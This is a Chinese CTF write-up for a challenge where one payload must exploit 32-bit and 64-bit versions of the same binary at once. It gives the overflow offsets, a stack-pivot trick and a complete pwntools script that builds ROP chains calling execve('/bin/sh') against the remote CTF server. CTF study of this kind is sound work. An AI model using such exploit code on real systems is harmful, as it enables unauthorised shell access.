给了我们两个二进制,分别为32位和64位,两个程序功能完全相同,有一个裁决程序,fork出这两个程序,并监听着它们的输出,如果两者输出不一样或者一方崩溃,则裁决程序就会kill掉它们两个。
首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,32位
64位
可知**[32位溢出的距离为0x110,64位溢出的距离为0x118。]{.mark}**由于程序没有开启PIE,并且glibc静态编译到了程序里。我们所需的gadgets不用愁,也不需要泄露。我们可以在32位里调用add esp,XXX。将栈迁移到64位rop的后面,进而能够与64位rop相隔,构造出一个适用于两者的payload。
布局如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
'''sh32 = process('./pwn1') sh64 = process('./pwn2')''' sh = remote('node3.buuoj.cn',29103) elf32 = ELF('./pwn1') elf64 = ELF('./pwn2')
pop_rax = 0x000000000043b97c pop_rdi = 0x00000000004005f6 pop_rsi = 0x0000000000405895 pop_rdx = 0x000000000043b9d5 syscall = 0x00000000004011dc read64 = elf64.sym['read'] bss64 = 0x00000000006A32E0
pop_eax = 0x080a8af6
pop_edx_ecx_ebx = 0x0806e9f1 int80 = 0x080495a3 read32 = elf32.sym['read'] bss32 = 0x080DA320
add_esp_8C = 0x0804933f
payload = 'a'*0x110
payload += p32(add_esp_8C) + p32(0)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_rdx) + p64(0x10) + p64(read64)
payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) payload = payload.ljust(0x1A0,'\x00')
payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
payload += p32(pop_eax) + p32(0xB) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss32) + p32(int80)
sh.sendafter('try to pwn it?',payload) sleep(0.5) sh.send('/bin/sh\x00')
sh.interactive()
|